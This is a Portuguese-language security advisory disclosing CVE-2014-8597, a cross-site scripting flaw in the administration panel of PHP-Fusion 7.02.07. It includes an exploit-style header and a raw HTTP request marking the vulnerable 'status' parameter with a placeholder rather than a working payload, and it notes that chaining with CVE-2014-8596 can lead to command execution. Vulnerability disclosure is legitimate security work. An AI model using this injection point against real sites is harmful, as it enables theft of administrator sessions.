Conforme os testes de segurança realizados em um CMS(Sistema de gerenciamento de conteúdo em português) chamado PHP-Fusion detectamos a presença de algumas falhas de segurança no painel de administração do CMS, conforme os CVE’s são separados por tipos de falhas, registramos dois CVE’s, e este artigo trata-se de uma exposição da falha de XSS Injection, ou comumente chamada de Cross Site Scripting.
A abrangência desta vulnerabilidade depende de alguns fatores, como os fatores podem impactar atacantes de obterem acesso imediato ao servidor da aplicação, devido ao atacante ter de obter acesso ao painel de administração do website, resolvemos tornar pública antes da correção da falha na aplicação, porém ressaltamos que esta falha pode permitir o roubo de sessão de um administrador via engenharia social, em conjunto com o CVE-2014-8596 pode resultar em possíveis execuções de comandos no servidor (confirmado esta possibilidade).
Descrição da plataforma segundo o website do fabricante
PHP-Fusion é um sistema Open-Source de gerenciamento de conteúdo (CMS) leve escrito em PHP.
O PHP-Fusion utiliza um banco de dados MySQL para armazenar o conteúdo do site e inclui um sistema de gestão simples, porém abrangente e completo para gerenciar seus websites.
Interface web da aplicação
A falha de segurança
# Software: PHP-Fusion
# Versão: 7.02.07 [Download] [Download do Fabricante]
# Empresa: PHP-Fusion Inc
# Website: www.php-fusion.co.uk
# Vulnerabilidade: XSS Injection (Cross Site Scripting)
# CVE: CVE-2014-8597
# Autor: Mauricio Corrêa
GET /PHP-Fusion/files/administration/members.php?aid=9b23a9871adc75cd&status=4[XSS Injection] HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fusion68fF5_user=1.1414718441.a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620b17122152bf157283f; fusion68fF5_lastvisit=1414550801; session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;; fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive